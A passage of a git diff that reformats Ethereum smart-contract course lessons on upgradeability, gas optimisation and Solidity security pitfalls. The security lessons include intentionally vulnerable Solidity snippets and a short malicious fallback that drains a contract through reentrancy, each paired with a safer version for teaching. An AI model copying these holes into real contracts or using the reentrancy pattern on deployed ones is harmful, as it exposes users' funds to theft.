Immutable World](https://blog.polymath.network/upgradability-in-an-immutable-world-27c76926629b){target=\_blank} +3. [Summary of Ethereum Upgradeable Smart Contract R&D](https://blog.indorse.io/ethereum-upgradeable-smart-contract-strategies-456350d0557c){target=\_blank} +4. [Diamond Contracts -- interesting variation on upgradeability patterns](https://dev.to/mudgen/ethereum-s-maximum-contract-size-limit-is-solved-with-the-diamond-standard-2189){target=\_blank} diff --git a/docs/S03-smart-contracts/M4-design-patterns/L8-add-material-upgradable-contracts/index.md b/docs/S03-smart-contracts/M4-design-patterns/L8-add-material-upgradable-contracts/index.md index 70459b9b..f7b32ffb 100644 --- a/docs/S03-smart-contracts/M4-design-patterns/L8-add-material-upgradable-contracts/index.md +++ b/docs/S03-smart-contracts/M4-design-patterns/L8-add-material-upgradable-contracts/index.md @@ -1,41 +1,39 @@ -Additional Material: Upgradable Contracts -========================================= +# Upgradable Contracts: additional material We wanted to provide another example of an upgradable contract pattern. This pattern uses a separate contract to act as storage to another contract that contains the logic, also known as a "proxy delegate pattern". When you upgrade a contract, all your state is still in the old contract address. Therefore, we say the contract has "Eternal Storage." To avoid upgrades to the storage contract it should be as flexible as possible, by using several mappings for each data type where hashes are used as keys (only `uint` is shown in the example below): -``` +```javascript address owner = msg.sender; address latestVersion; mapping(bytes32 => uint) uIntStorage; -function upgradeVersion(address _newVersion) public { - require(msg.sender == owner); +function upgradeVersion(address _newVersion) public { + require(msg.sender == owner); latestVersion = _newVersion; } -function getUint(bytes32 _key) external view returns(uint) { +function getUint(bytes32 _key) external view returns(uint) { return uIntStorage[_key]; } -function setUint(bytes32 _key, uint _value) external { - require(msg.sender == latestVersion); +function setUint(bytes32 _key, uint _value) external { + require(msg.sender == latestVersion); uIntStorage[_key] = _value; } -function deleteUint(bytes32 _key) external { - require(msg.sender == latestVersion); +function deleteUint(bytes32 _key) external { + require(msg.sender == latestVersion); delete uIntStorage[_key]; -} +} ``` Each mapping should be manipulated by three functions: store, retrieve and delete. Use the access control pattern to allow only the most recent version of the logic contract to use the "eternal storage." -Additional Material -------------------- +## Additional Material -* [Article Series: Summary of Ethereum Upgradeable Smart Contract R&D, Part I](https://blog.indorse.io/ethereum-upgradeable-smart-contract-strategies-456350d0557c){target=_blank} and [Part II](https://medium.com/coinmonks/summary-of-ethereum-upgradeable-smart-contract-r-d-part-2-2020-db141af915a0){target=_blank} Great overview of upgradability patterns. -* [Tutorial: Security considerations and how to upgrade with Open Zeppelin](https://trufflesuite.com/guides/upgrading-security/) -* [Tutorial: Upgrading Broken Contracts (ConsenSys)](https://ethereum-contract-security-techniques-and-tips.readthedocs.io/en/latest/software_engineering/#upgrading-broken-contracts){target=_blank} -* [Tutorial: Diamond Standard](https://dev.to/mudgen/ethereum-s-maximum-contract-size-limit-is-solved-with-the-diamond-standard-2189){target=_blank} An interesting variation on upgradability patterns. We don't see it out a lot in the wild, but an interesting development! +- [Article Series: Summary of Ethereum Upgradeable Smart Contract R&D, Part I](https://blog.indorse.io/ethereum-upgradeable-smart-contract-strategies-456350d0557c){target=\_blank} and [Part II](https://medium.com/coinmonks/summary-of-ethereum-upgradeable-smart-contract-r-d-part-2-2020-db141af915a0){target=\_blank} Great overview of upgradeability patterns. +- [Tutorial: Security considerations and how to upgrade with Open Zeppelin](https://trufflesuite.com/guides/upgrading-security/) +- [Tutorial: Upgrading Broken Contracts (ConsenSys)](https://ethereum-contract-security-techniques-and-tips.readthedocs.io/en/latest/software_engineering/#upgrading-broken-contracts){target=\_blank} +- [Tutorial: Diamond Standard](https://dev.to/mudgen/ethereum-s-maximum-contract-size-limit-is-solved-with-the-diamond-standard-2189){target=\_blank} An interesting variation on upgradeability patterns. We don't see it out a lot in the wild, but an interesting development! diff --git a/docs/S03-smart-contracts/M4-design-patterns/L9-optimizing-gas/index.md b/docs/S03-smart-contracts/M4-design-patterns/L9-optimizing-gas/index.md index 062fec54..f462dd85 100644 --- a/docs/S03-smart-contracts/M4-design-patterns/L9-optimizing-gas/index.md +++ b/docs/S03-smart-contracts/M4-design-patterns/L9-optimizing-gas/index.md @@ -1,95 +1,90 @@ -Optimizing Gas -============== +# Optimizing Gas Reducing the gas consumed by a contract is important in two situations: -* Cost of deploying a contract -* Cost to call the contract functions +- Cost of deploying a contract +- Cost to call the contract functions -[The Solidity optimizer](https://solidity.readthedocs.io/en/v0.7.1/internals/optimiser.html){target=_blank} tries to improve the efficiency of your contract as much as possible during compile time. Feel free to dig into the internals of the optimizer. +[The Solidity optimizer](https://solidity.readthedocs.io/en/v0.7.1/internals/optimiser.html){target=\_blank} tries to improve the efficiency of your contract as much as possible during compile time. Feel free to dig into the internals of the optimizer. One of the best ways to optimize your contracts gas usage is to reduce expensive operations in the contract's functions. Creating and modifying storage variables can be expensive. 20,000 gas when a value is set to non-zero from zero; 5,000 gas when writing to existing storage or setting a value to zero; and a 15,000 gas refund when a non-zero value is set to zero. -[Here is a list of OPCODES and their gas costs.](https://docs.google.com/spreadsheets/d/1n6mRqkBz3iWcOlRem_mO09GtSKEKrAsfO7Frgx18pNU/edit#gid=0){target=_blank} +[Here is a list of OPCODES and their gas costs.](https://docs.google.com/spreadsheets/d/1n6mRqkBz3iWcOlRem_mO09GtSKEKrAsfO7Frgx18pNU/edit#gid=0){target=\_blank} -Short Circuit Rules -------------------- +## Short Circuit Rules The operators `||` and `&&` apply the common short-circuiting rules. This means that in the expression `f(x) || g(y)`, if `f(x)` evaluates to true, `g(y)` will not be evaluated even if it may have side-effects. -How can these functions in [Unoptimized.sol](https://gist.github.com/ConsenSys-Academy/a61670fd8796d73d8b4b7d5935f9e714){target=_blank} be modified to reduce gas usage? - -``` -function shortCircuit() public view returns(bool){ - if (oftenFalse || oftenTrue) { - return true; - } -} - -function shortCircuit2() public view returns(bool){ - if(oftenTrue && oftenFalse) { - return false; - } else { - return true; - } -} +How can these functions in [Unoptimized.sol](https://gist.github.com/ConsenSys-Academy/a61670fd8796d73d8b4b7d5935f9e714){target=\_blank} be modified to reduce gas usage? + +```solidity +function shortCircuit() public view returns(bool){ + if (oftenFalse || oftenTrue) { + return true; + } +} + +function shortCircuit2() public view returns(bool){ + if(oftenTrue && oftenFalse) { + return false; + } else { + return true; + } +} ``` -Expensive operations in a loop ------------------------------- +## Expensive operations in a loop Modifying storage variables in a loop can be very expensive and should be avoided unless absolutely necessary. -How can this function be improved, given that `loops` is a storage variable? [Here is the source file.](https://gist.github.com/ConsenSys-Academy/a61670fd8796d73d8b4b7d5935f9e714#file-unoptimized-sol-L26){target=_blank} +How can this function be improved, given that `loops` is a storage variable? [Here is the source file](https://gist.github.com/ConsenSys-Academy/a61670fd8796d73d8b4b7d5935f9e714#file-unoptimized-sol-L26){target=\_blank}. -``` -function looping (uint x) public returns (bool) { - for(uint i; i < x; i++){ - loops += 1; - } - return true; -} +```solidity +function looping (uint x) public returns (bool) { + for(uint i; i < x; i++){ + loops += 1; + } + return true; +} ``` -Reduce the number of loops --------------------------- +## Reduce the number of loops Zero loops is ideal, but sometimes you just have to loop. Since loops are expensive, can you reduce the number of loops in your functions? -``` -function looping2 (uint x) public pure returns(bool){ - uint m = 0; - uint v = 0; - for(uint i = 0; i < x; i++){ - m += i; - } - for(uint j = 0; j < x; j++){ - v -= j; - } - return true; -} +```solidity +function looping2 (uint x) public pure returns(bool){ + uint m = 0; + uint v = 0; + for(uint i = 0; i < x; i++){ + m += i; + } + for(uint j = 0; j < x; j++){ + v -= j; + } + return true; +} ``` -Fixed size byte arrays ----------------------- +## Fixed size byte arrays -[From the Solidity Docs:](https://solidity.readthedocs.io/en/latest/types.html#fixed-size-byte-arrays){target=_blank} +[From the Solidity Docs](https://solidity.readthedocs.io/en/latest/types.html#fixed-size-byte-arrays){target=\_blank}: It is possible to use an array of bytes as `byte[]`, but it is wasting a lot of space, 31 bytes every element, to be exact, when passing in calls. It is better to use `bytes`. As a rule of thumb, use `bytes` for arbitrary-length raw byte data and `string` for arbitrary-length string (UTF-8) data. If you can limit the length to a certain number of bytes, always use one of `bytes1` to `bytes32` because they are much cheaper. How can this function be optimized? -``` -function byteArray() public returns(uint){ - byte[] byteArray; - return gasleft(); -} +```solidity +function byteArray() public returns(uint){ + byte[] byteArray; + return gasleft(); +} ``` Additional Resources: -* [Optimizing Solidity contract's gas usage](https://medium.com/coinmonks/optimizing-your-solidity-contracts-gas-usage-9d65334db6c7){target=_blank} -* [Under Optimized Smart Contracts Devour Your Money](https://arxiv.org/pdf/1703.03994.pdf){target=_blank} -* [How to Write Smart Contracts that Optimize Gas](https://medium.com/better-programming/how-to-write-smart-contracts-that-optimize-gas-spent-on-ethereum-30b5e9c5db85){target=_blank} +- [Optimizing Solidity contract's gas usage](https://medium.com/coinmonks/optimizing-your-solidity-contracts-gas-usage-9d65334db6c7){target=\_blank} +- [Under Optimized Smart Contracts Devour Your Money](https://arxiv.org/pdf/1703.03994.pdf){target=\_blank} +- [How to Write Smart Contracts that Optimize Gas](https://medium.com/better-programming/how-to-write-smart-contracts-that-optimize-gas-spent-on-ethereum-30b5e9c5db85){target=\_blank} diff --git a/docs/S03-smart-contracts/M5-exercises/L1/index.md b/docs/S03-smart-contracts/M5-exercises/L1/index.md index 25a9422c..a9738745 100644 --- a/docs/S03-smart-contracts/M5-exercises/L1/index.md +++ b/docs/S03-smart-contracts/M5-exercises/L1/index.md @@ -1,4 +1 @@ - Title -===== - - \ No newline at end of file +# Title diff --git a/docs/S03-smart-contracts/M5-exercises/L2/index.md b/docs/S03-smart-contracts/M5-exercises/L2/index.md index 25a9422c..a9738745 100644 --- a/docs/S03-smart-contracts/M5-exercises/L2/index.md +++ b/docs/S03-smart-contracts/M5-exercises/L2/index.md @@ -1,4 +1 @@ - Title -===== - - \ No newline at end of file +# Title diff --git a/docs/S03-smart-contracts/M6-security/L1-sc-best-practices/index.md b/docs/S03-smart-contracts/M6-security/L1-sc-best-practices/index.md index 5c3577a3..f0658e28 100644 --- a/docs/S03-smart-contracts/M6-security/L1-sc-best-practices/index.md +++ b/docs/S03-smart-contracts/M6-security/L1-sc-best-practices/index.md @@ -1,9 +1,11 @@ -*Please ignore the lesson and module numbers in the video, they're an artifact from an earlier version of this course* +# Smart contract best practices -Additional Resources: +_Please ignore the lesson and module numbers in the video, they're an artifact from an earlier version of this course_ -1. [Smart contract best practices](https://consensys.github.io/smart-contract-best-practices/) -2. [Recommendations for Smart Contract Security in Solidity](https://consensys.github.io/smart-contract-best-practices/recommendations/) -3. [Common bugs, attacks and best practices](https://sunnya97.gitbooks.io/a-beginner-s-guide-to-ethereum-and-dapp-developme/smart-contract-best-practices.html) -4. [Front-running](http://hackingdistributed.com/2017/08/28/submarine-sends/) -5. [Ethereum is a Dark Forest: A descriptive essay on frontrunning](https://medium.com/@danrobinson/ethereum-is-a-dark-forest-ecc5f0505dff) +## Additional Resources + +- [Smart contract best practices](https://consensys.github.io/smart-contract-best-practices/) +- [Recommendations for Smart Contract Security in Solidity](https://consensys.github.io/smart-contract-best-practices/development-recommendations/) +- [Common bugs, attacks and best practices](https://sunnya97.gitbooks.io/a-beginner-s-guide-to-ethereum-and-dapp-developme/smart-contract-best-practices.html) +- [Front-running](http://hackingdistributed.com/2017/08/28/submarine-sends/) +- [Ethereum is a Dark Forest: A descriptive essay on frontrunning](https://medium.com/@danrobinson/ethereum-is-a-dark-forest-ecc5f0505dff) diff --git a/docs/S03-smart-contracts/M6-security/L2-solidity-pitfalls-and-attacks/index.md b/docs/S03-smart-contracts/M6-security/L2-solidity-pitfalls-and-attacks/index.md index f5083698..9e46c30a 100644 --- a/docs/S03-smart-contracts/M6-security/L2-solidity-pitfalls-and-attacks/index.md +++ b/docs/S03-smart-contracts/M6-security/L2-solidity-pitfalls-and-attacks/index.md @@ -1,184 +1,183 @@ -Solidity Pitfalls and Attacks -============================= +# Solidity Pitfalls and Attacks As we've made clear again and again, smart contract development is potentially very dangerous. This is unlike the vast portion of web development, where environments and code can be torn down, changed, and easily deployed again. Because of this, being a smart contract developer means being acutely aware of the ways in which your code can be exploited and creating safety features to ensure against unforeseen attacks. Over the next few sections, we're going to be discussing smart contract security. We'll start by going over some common pitfalls and attacks with Solidity (as a language) and smart contracts generally. We'll then discuss testing as a means to further protect your code. Last, we'll go over some security services you can use when writing and developing smart contracts -Solidity Tips -------------- +## Solidity Tips ### Use Specific Compiler Pragma -A common method is to use the `^` to indicate the lowest compiler version that your contract will work with. However, if you have a testing suite you've built against your contract, you should not include the `^` and just list the compiler version. +A common method is to use the `^` to indicate the lowest compiler version that your contract will work with. However, if you have a testing suite you've built against your contract, you should not include the `^` and just list the compiler version. +```solidity +pragma solidity ^0.4.4; // Possibly dangerous ``` -pragma solidity ^0.4.4; // Possibly dangerous -``` - -``` -pragma solidity 0.4.4; // Better + +```solidity +pragma solidity 0.4.4; // Better ``` ### Built-In Variable Names -Built-in variables can be shadowed, be careful when naming your functions: +Built-in variables can be shadowed, be careful when naming your functions: +```solidity +function revert() internal pure {} // Possibly dangerous ``` -function revert() internal pure {} // Possibly dangerous -``` - -``` -function myRevert() internal pure {} // Better + +```solidity +function myRevert() internal pure {} // Better ``` ### Proper Use of `require`, `assert` and `revert` -**`require(msg.sender == owner)`** -* Validation of **inputs, external call returns and variables** before state changes -* **Refunds** remaining gas when fail -* Should be used **more often** and **towards the beginning** of functions +**`require(msg.sender == owner)`** + +- Validation of **inputs, external call returns and variables** before state changes +- **Refunds** remaining gas when fail +- Should be used **more often** and **towards the beginning** of functions + +**`assert(age > 100)`** -**`assert(age > 100)`** -* Validation of **invariants**, situations that **should never happen** and variables **after state changes** -* **Consumes all gas** when fail -* Should be used **less often** and **towards the end** of functions +- Validation of **invariants**, situations that **should never happen** and variables **after state changes** +- **Consumes all gas** when fail +- Should be used **less often** and **towards the end** of functions -**`revert()`** -* **Reverts** the current transaction -* **Refunds** remaining gas when fail -* Used **within if-else** statements +**`revert()`** + +- **Reverts** the current transaction +- **Refunds** remaining gas when fail +- Used **within if-else** statements ### Use Modifiers Only for Validations -Just do validations within modifiers and avoid external calls on them: +Just do validations within modifiers and avoid external calls on them: -``` +```solidity modifier partnerShare() { // Possibly dangerous - partner.transfer(msg.value / 10); - _; -} -``` - + partner.transfer(msg.value / 10); + _; +} ``` + +```solidity modifier onlyOwner() { // Better! - require(msg.sender == owner); - _; -} + require(msg.sender == owner); + _; +} ``` ### Pull Over Push -Prioritize *receiving* contract calls over *making* contract calls: +Prioritize _receiving_ contract calls over _making_ contract calls: -``` -function doRefund() external onlyOwner { // Possibly dangerous - uint refund; - for(uint i = 0; i < refunds.length; i++) { - refund = refunds[i].value; - refunds[i].value = 0; - refunds[i].addr.transfer(refund); +```solidity +function doRefund() external onlyOwner { // Possibly dangerous + uint refund; + for(uint i = 0; i < refunds.length; i++) { + refund = refunds[i].value; + refunds[i].value = 0; + refunds[i].addr.transfer(refund); } -} -``` - +} ``` -function withdrawRefund() external { // Better! - require(refunds[msg.sender] > 0); - uint refund = refunds[msg.sender]; - refunds[msg.sender] = 0; + +```solidity +function withdrawRefund() external { // Better! + require(refunds[msg.sender] > 0); + uint refund = refunds[msg.sender]; + refunds[msg.sender] = 0; msg.sender.transfer(refund); -} +} ``` ### Fallback Functions and Data Length -Keep fallback functions simple and check data length: +Keep fallback functions simple and check data length: -``` -fallback() payable external { // Possibly dangerous +```solidity +fallback() payable external { // Possibly dangerous balances[msg.sender] += msg.value; -} -``` - +} ``` -receive() external { // Better! + +```solidity +receive() external { // Better! balances[msg.sender] += msg.value; } -fallback() external { - require(msg.data.length == 0); +fallback() external { + require(msg.data.length == 0); emit LogDeposit(msg.sender); -} +} ``` - + ### Checks-Effects-Interactions -Avoid state changes after external calls, to avoid things like [the DAO hack:](https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#re-entrancy){target=_blank} +Avoid state changes after external calls, to avoid things like [the DAO hack](https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#re-entrancy){target=\_blank}: -``` -function withdraw(uint amount) public { // Possibly dangerous - require(balances[msg.sender] >= amount); - msg.sender.call{value:amount}(""); +```solidity +function withdraw(uint amount) public { // Possibly dangerous + require(balances[msg.sender] >= amount); + msg.sender.call{value:amount}(""); balances[msg.sender] -= amount; -} -``` - +} ``` -function withdraw(uint amount) public { // Better! - require(balances[msg.sender] >= amount); - balances[msg.sender] -= amount; + +```solidity +function withdraw(uint amount) public { // Better! + require(balances[msg.sender] >= amount); + balances[msg.sender] -= amount; msg.sender.call{value:amount}(""); -} +} ``` - + ### Proper use of `call`, `delegatecall` instead of `send`, `transfer` -After the Istanbul hardfork, [it's recommended](https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/){target=_blank} not to use `send` and `transfer`, and instead use `call.value` +After the Istanbul hardfork, [it's recommended](https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/){target=\_blank} not to use `send` and `transfer`, and instead use `call.value` -``` -contract Vulnerable { // Possibly dangerous - function withdraw(uint256 amount) external { - // This forwards 2300 gas, which may not be enough if the recipient - // is a contract and gas costs change. - msg.sender.transfer(amount); +```solidity +contract Vulnerable { // Possibly dangerous + function withdraw(uint256 amount) external { + // This forwards 2300 gas, which may not be enough if the recipient + // is a contract and gas costs change. + msg.sender.transfer(amount); } -} -``` - +} ``` -contract Fixed { // Better! - function withdraw(uint256 amount) external { - // This forwards all available gas. Be sure to check the return value! - (bool success, ) = msg.sender.call{value:amount}(""); - require(success, "Transfer failed."); + +```solidity +contract Fixed { // Better! + function withdraw(uint256 amount) external { + // This forwards all available gas. Be sure to check the return value! + (bool success, ) = msg.sender.call{value:amount}(""); + require(success, "Transfer failed."); } -} +} ``` -And then proper use of `call` and `delegatecall`: +And then proper use of `call` and `delegatecall`: -``` +```solidity addr.call(abi.encodeWithSignature("f(uint)", a)); ``` -* Used to call functions and send ether -* Allows specify gas -* Returns boolean -* Does not propagate exceptions +- Used to call functions and send ether +- Allows specify gas +- Returns boolean +- Does not propagate exceptions -``` +```solidity addr.delegatecall(abi.encodeWithSignature("f(uint)", a)); ``` -* Used to run functions within the caller's context (library feature) -* Allows specify gas -* Returns boolean -* Does not propagate exceptions +- Used to run functions within the caller's context (library feature) +- Allows specify gas +- Returns boolean +- Does not propagate exceptions -Additional Material -------------------- +## Additional Material -* [Wiki: Smart Contract Best Practices (ConsenSys)](https://consensys.github.io/smart-contract-best-practices/){target=_blank} -* [Article: Stop Using Solidity's `transfer`](https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/){target=_blank} Article from ConsenSys Diligence - +- [Wiki: Smart Contract Best Practices (ConsenSys)](https://consensys.github.io/smart-contract-best-practices/){target=\_blank} +- [Article: Stop Using Solidity's `transfer`](https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/){target=\_blank} Article from ConsenSys Diligence diff --git a/docs/S03-smart-contracts/M6-security/L2a-sc-pitfalls-and-attacks/index.md b/docs/S03-smart-contracts/M6-security/L2a-sc-pitfalls-and-attacks/index.md index 369af5b1..5ee5d370 100644 --- a/docs/S03-smart-contracts/M6-security/L2a-sc-pitfalls-and-attacks/index.md +++ b/docs/S03-smart-contracts/M6-security/L2a-sc-pitfalls-and-attacks/index.md @@ -1,25 +1,25 @@ -Smart Contract Pitfalls and Attacks -=================================== +# Smart Contract Pitfalls and Attacks -Now that we've gone through some of the attack vectors in the language and syntax of Solidity, let's move on to more general smart contract pitfalls and attacks. These are more general attack patterns which involve zooming out from a codeline level to a broader contract workflow view (*Call Known Attacks*). There are also concerns that come from a protocol level, which will require marrying the information we learned in the first few sections of the course with the smart contract knowledge you gained (Network Known Attacks). +Now that we've gone through some of the attack vectors in the language and syntax of Solidity, let's move on to more general smart contract pitfalls and attacks. These are more general attack patterns which involve zooming out from a codeline level to a broader contract workflow view (_Call Known Attacks_). There are also concerns that come from a protocol level, which will require marrying the information we learned in the first few sections of the course with the smart contract knowledge you gained (Network Known Attacks). -All these attack vectors (and more) are compiled in the Smart Contract Weakness Classification and Test Cases or [SWC Registry](https://swcregistry.io/){target=_blank}, we'll reference attack vectors by their SWC index number: +All these attack vectors (and more) are compiled in the Smart Contract Weakness Classification and Test Cases or [SWC Registry](https://swcregistry.io/){target=\_blank}, we'll reference attack vectors by their SWC index number: -Network Known Attacks: -* Front-Running ([SWC-114](https://swcregistry.io/docs/SWC-114){target=_blank}) -* Timestamp Dependence ([SWC-116](https://swcregistry.io/docs/SWC-116){target=_blank}) -* Network Stuffing DoS +Network Known Attacks: -Call Known Attacks: -* Forcibly Sending Ether ([SWC-132](https://swcregistry.io/docs/SWC-132){target=_blank}) -* Block Gas Limit DoS ([SWC-128](https://swcregistry.io/docs/SWC-128){target=_blank}{target=_blank}) -* Reentrancy ([SWC-107](https://swcregistry.io/docs/SWC-107){target=_blank}{target=_blank}) -* Integer Overflow/Underflow ([SWC-101](https://swcregistry.io/docs/SWC-101){target=_blank}{target=_blank}) -* Unexpected Revert DoS ([SWC-113](https://swcregistry.io/docs/SWC-113){target=_blank}{target=_blank}) -* Tx.Origin Authentication ([SWC-115](https://swcregistry.io/docs/SWC-115){target=_blank}) +- Front-Running ([SWC-114](https://swcregistry.io/docs/SWC-114){target=\_blank}) +- Timestamp Dependence ([SWC-116](https://swcregistry.io/docs/SWC-116){target=\_blank}) +- Network Stuffing DoS -Frontrunning ------------- +Call Known Attacks: + +- Forcibly Sending Ether ([SWC-132](https://swcregistry.io/docs/SWC-132){target=\_blank}) +- Block Gas Limit DoS ([SWC-128](https://swcregistry.io/docs/SWC-128){target=\_blank}) +- Reentrancy ([SWC-107](https://swcregistry.io/docs/SWC-107){target=\_blank}{target=\_blank}) +- Integer Overflow/Underflow ([SWC-101](https://swcregistry.io/docs/SWC-101){target=\_blank}) +- Unexpected Revert DoS ([SWC-113](https://swcregistry.io/docs/SWC-113){target=\_blank}) +- Tx.Origin Authentication ([SWC-115](https://swcregistry.io/docs/SWC-115){target=\_blank}) + +## Frontrunning ![front-running diagram](../../../img/S03/swc-1.png) @@ -33,26 +33,23 @@ Protecting against this is difficult and you will likely need to devise contract Decentralized markets can mitigate concerns by implementing batch auctions or using a pre-commit scheme, where the details are submitted after the transaction is committed. -More information about Transaction Order Dependence and concrete samples are available in [the corresponding SWC Registry entry.](https://swcregistry.io/docs/SWC-114){target=_blank} Due to the increased focus on MEV, we can expect to see a lot more security tips and research around frontrunning. +More information about Transaction Order Dependence and concrete samples are available in [the corresponding SWC Registry entry](https://swcregistry.io/docs/SWC-114){target=\_blank}. Due to the increased focus on MEV, we can expect to see a lot more security tips and research around frontrunning. -Timestamp Dependence --------------------- +## Timestamp Dependence ![timestampe dependence](../../../img/S03/swc-2.png) Contracts often need access to time values to perform certain types of functionality. Values such as block.timestamp, and block.number can give you a sense of the current time or a time delta, however, they are not safe to use for most purposes. -In the case of block.timestamp, developers often attempt to use it to trigger time-dependent events. As Ethereum is decentralized, nodes can synchronize time only to some degree. Moreover, malicious miners can alter the timestamp of their blocks, especially if they can gain advantages by doing so. ([source](https://swcregistry.io/docs/SWC-116){target=_blank}) +In the case of block.timestamp, developers often attempt to use it to trigger time-dependent events. As Ethereum is decentralized, nodes can synchronize time only to some degree. Moreover, malicious miners can alter the timestamp of their blocks, especially if they can gain advantages by doing so. ([source](https://swcregistry.io/docs/SWC-116){target=\_blank}) -Network Stuffing DoS --------------------- +## Network Stuffing DoS ![network stuffing image](../../../img/S03/swc-3.png) This is an attack vector based around time-sensitive operations, such as an auction or a time-locked wallet, or operations requiring user input before committing an irreversible action. Essentially, we need to guard against the fact that, particularly now, there can be moments of high-traffic (not even malicious) where it can be near-impossible to get one's transactions to a smart contract. We hope with EIP-1559 these moments are short, but they may exist. As such, we need to make sure time-sensitive operations have some fallback or failsafe mechanism to guard against network stuffing, malicious or otherwise. -Forcibly Sending Ether ----------------------- +## Forcibly Sending Ether ![forcibly sending ether diagram](../../../img/S03/swc-4.png) @@ -60,106 +57,104 @@ Another danger is using logic that depends on the contract balance. Be aware that it is possible to send ether to a contract without triggering its fallback function. -Using the selfdestruct function on another contract and using the target contract as the recipient will force the destroyed contract’s funds to be sent to the target. +Using the self-destruct function on another contract and using the target contract as the recipient will force the destroyed contract’s funds to be sent to the target. -It is also possible to pre-compute a contracts address and send ether to the address before the contract is deployed see ([CREATE2](https://docs.openzeppelin.com/cli/2.8/deploying-with-create2){target=_blank}). +It is also possible to pre-compute a contracts address and send ether to the address before the contract is deployed see ([CREATE2](https://docs.openzeppelin.com/cli/2.8/deploying-with-create2){target=\_blank}). The contract’s balance will be greater than 0 when it is finally deployed. -Block Gas Limit DoS -------------------- +## Block Gas Limit DoS ![block gas limit dos diagram](../../../img/S03/swc-5.png) -There is a limit to how much computation can be included in a single Ethereum block, currently 10,000,000 gas worth. This means that if your smart contract reaches a state where a transaction requires more than 10,000,000 gas to execute, that transaction will never successfully execute ([SWC-128](https://swcregistry.io/docs/SWC-128){target=_blank}{target=_blank}). It will always reach the block gas limit before finishing. +There is a limit to how much computation can be included in a single Ethereum block, currently 10,000,000 gas worth. This means that if your smart contract reaches a state where a transaction requires more than 10,000,000 gas to execute, that transaction will never successfully execute ([SWC-128](https://swcregistry.io/docs/SWC-128){target=\_blank}). It will always reach the block gas limit before finishing. -Similarly, if the require gas for the transaction is sub 8,000,000, but close to it, you may have a harder time getting your transaction included in a block by a miner. It is more likely that if you send a transaction to the network with a startGas close to 8,000,000, a miner will not pick the transaction to include in a block. You can find more info about the default mining transaction ordering options in the most popular clients [here.](https://ethereum.stackexchange.com/questions/6107/what-is-the-default-ordering-of-transactions-during-mining-in-e-g-geth/6111#6111){target=_blank} +Similarly, if the require gas for the transaction is sub 8,000,000, but close to it, you may have a harder time getting your transaction included in a block by a miner. It is more likely that if you send a transaction to the network with a startGas close to 8,000,000, a miner will not pick the transaction to include in a block. You can find more info about the default mining transaction ordering options in the most popular clients [here.](https://ethereum.stackexchange.com/questions/6107/what-is-the-default-ordering-of-transactions-during-mining-in-e-g-geth/6111#6111){target=\_blank} -This situation becomes possible if your contract loops over an array of undetermined size. If the array becomes too large it may never execute. A concrete sample of a dynamic array potentially resulting in a denial of service is available at the [SWC Registry entry here.](https://swcregistry.io/docs/SWC-128){target=_blank} +This situation becomes possible if your contract loops over an array of undetermined size. If the array becomes too large it may never execute. A concrete sample of a dynamic array potentially resulting in a denial of service is available at the [SWC Registry entry here](https://swcregistry.io/docs/SWC-128){target=\_blank}. -Reentrancy ----------- +## Reentrancy ![reentrancy attack diagram](../../../img/S03/swc-6.png) -Reentrancy attacks ([SWC-107](https://swcregistry.io/docs/SWC-107){target=_blank}{target=_blank}) are very well-known thanks to the infamous DAO hack that happened on the Ethereum network. In a reentrancy attack, a vulnerable contract sends ether to an unknown address that contains a fallback function. Then, a malicious code calls back repeatedly a function in the vulnerable contract before the first call be finished. - -``` +Reentrancy attacks ([SWC-107](https://swcregistry.io/docs/SWC-107){target=\_blank}) are very well-known thanks to the infamous DAO hack that happened on the Ethereum network. In a reentrancy attack, a vulnerable contract sends ether to an unknown address that contains a fallback function. Then, a malicious code calls back repeatedly a function in the vulnerable contract before the first call be finished. + +```solidity // Vulnerable contract -function withdraw(uint _amount) public { - require(balances[msg.sender] >= _amount, "Not enough balance!"); - msg.sender.call.value(_amount)(""); +function withdraw(uint _amount) public { + require(balances[msg.sender] >= _amount, "Not enough balance!"); + msg.sender.call.value(_amount)(""); balances[msg.sender] -= _amount; } // Malicious contract -function () payable external { - if(address(vulnerableContract).balance > 1 ether) { - vulnerableContract.withdraw(1 ether); +function () payable external { + if(address(vulnerableContract).balance > 1 ether) { + vulnerableContract.withdraw(1 ether); } -} +} ``` If you can’t remove the external call, the next simplest way to prevent this attack is to do the internal work before making the external function call. - -``` + +```solidity mapping (address => uint) private userBalances; // Better! -function withdrawBalance() public { - uint amountToWithdraw = userBalances[msg.sender]; - userBalances[msg.sender] = 0; - +function withdrawBalance() public { + uint amountToWithdraw = userBalances[msg.sender]; + userBalances[msg.sender] = 0; + // The user's balance is already 0, so future invocations won't withdraw anything - require(msg.sender.call.value(amountToWithdraw)()); -} + require(msg.sender.call.value(amountToWithdraw)()); +} ``` Or to use the withdrawal design pattern and separate the contract accounting logic and the transfer logic. Another thing to be aware of is potential cross function re-entrancy. This can be problematic if your contract has multiple functions that modify the same state. -``` -// INSECURE -mapping (address => uint) private userBalances; - -function transfer(address to, uint amount) { - if (userBalances[msg.sender] >= amount) { - userBalances[to] += amount; - userBalances[msg.sender] -= amount; - } -} - -function withdrawBalance() public { - uint amountToWithdraw = userBalances[msg.sender]; +```solidity +// INSECURE +mapping (address => uint) private userBalances; + +function transfer(address to, uint amount) { + if (userBalances[msg.sender] >= amount) { + userBalances[to] += amount; + userBalances[msg.sender] -= amount; + } +} + +function withdrawBalance() public { + uint amountToWithdraw = userBalances[msg.sender]; // At this point, the caller's code is executed, and can call transfer() - require(msg.sender.call.value(amountToWithdraw)()); - userBalances[msg.sender] = 0; -} + require(msg.sender.call.value(amountToWithdraw)()); + userBalances[msg.sender] = 0; +} ``` In this case, the attacker can call transfer() when their code is executed on the external call in withdrawBalance. Since their balance has not yet been set to 0, they are able to transfer the tokens even though they already received the withdrawal. This vulnerability was also used in the DAO attack. There are several ways to mitigate these problems. -The first is the Check-Effect-Interaction design pattern we described earlier. It is generally a good idea to handle the flow of a function like so: -* **Check** Test condition. eg `require` -* **Effect** Update state variable (eg update balance) -* **Interaction** Interact with external contract (eg send ether using `call.value`) +The first is the Check-Effect-Interaction design pattern we described earlier. It is generally a good idea to handle the flow of a function like so: + +- **Check** Test condition. eg `require` +- **Effect** Update state variable (eg update balance) +- **Interaction** Interact with external contract (eg send ether using `call.value`) -In short, you handle your internal contract state changes before calling external contracts. +In short, you handle your internal contract 